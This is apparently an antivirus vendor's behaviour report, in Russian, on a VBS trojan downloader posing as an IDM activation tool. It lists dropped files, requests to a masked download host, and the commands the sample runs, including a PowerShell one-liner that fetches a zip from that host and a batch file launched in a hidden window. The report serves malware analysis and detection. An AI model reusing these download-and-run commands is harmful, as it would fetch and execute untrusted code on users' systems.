VBS.DownLoader.2141

Техническая информация

Изменения в файловой системе

Создает следующие файлы

%WINDIR%log\windowslog\configidm.bat
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-processthreads-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-processthreads-l1-1-1.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-profile-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-rtlsupport-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-string-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-synch-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-synch-l1-2-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-sysinfo-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-util-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-crt-private-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-crt-conio-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-crt-convert-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-crt-environment-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-crt-filesystem-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-crt-heap-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-crt-locale-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-crt-math-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-crt-multibyte-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-processenvironment-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-timezone-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-namedpipe-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-datetime-l1-1-0.dll
%WINDIR%log\windowslog\idm_activation.zip
%WINDIR%\WindowsShell.Manifest\config\copyright
%WINDIR%\WindowsShell.Manifest\config\license
%WINDIR%\WindowsShell.Manifest\config\readme.txt
%WINDIR%\WindowsShell.Manifest\config\release
%WINDIR%\WindowsShell.Manifest\config\thirdpartylicensereadme-javafx.txt
%WINDIR%\WindowsShell.Manifest\config\thirdpartylicensereadme.txt
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-console-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-debug-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-localization-l1-2-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-errorhandling-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-file-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-file-l1-2-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-file-l2-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-handle-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-heap-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-interlocked-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-libraryloader-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-core-memory-l1-1-0.dll
%WINDIR%\WindowsShell.Manifest\config\bin\api-ms-win-crt-process-l1-1-0.dll

Сетевая активность

TCP

Запросы HTTP GET

http://sh####link.space/download/GT/Configrr.txt
http://sh####link.space/download/GT/IDM_Activation.zip

UDP

DNS ASK sh####link.space

Другое

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$ZippedFilePath = '%WINDIR%Log\WindowsLog\IDM_Activation.zip' ; $DestinationFolder = '%WINDIR%Log\WindowsLog' ; $Shell = new-object -com Shell.Application ; $Shell.Namespace($Destina...
'<SYSTEM32>\cmd.exe' /c %WINDIR%Log\WindowsLog\ConfigIDM.bat' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c %WINDIR%Log\WindowsLog\ConfigIDM.bat
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$WebClient = New-Object System.Net.WebClient ; $WebClient.DownloadFile('http://sh####link.space/download/GT/IDM_Activation.zip','%WINDIR%Log\WindowsLog\IDM_Activation.zip')"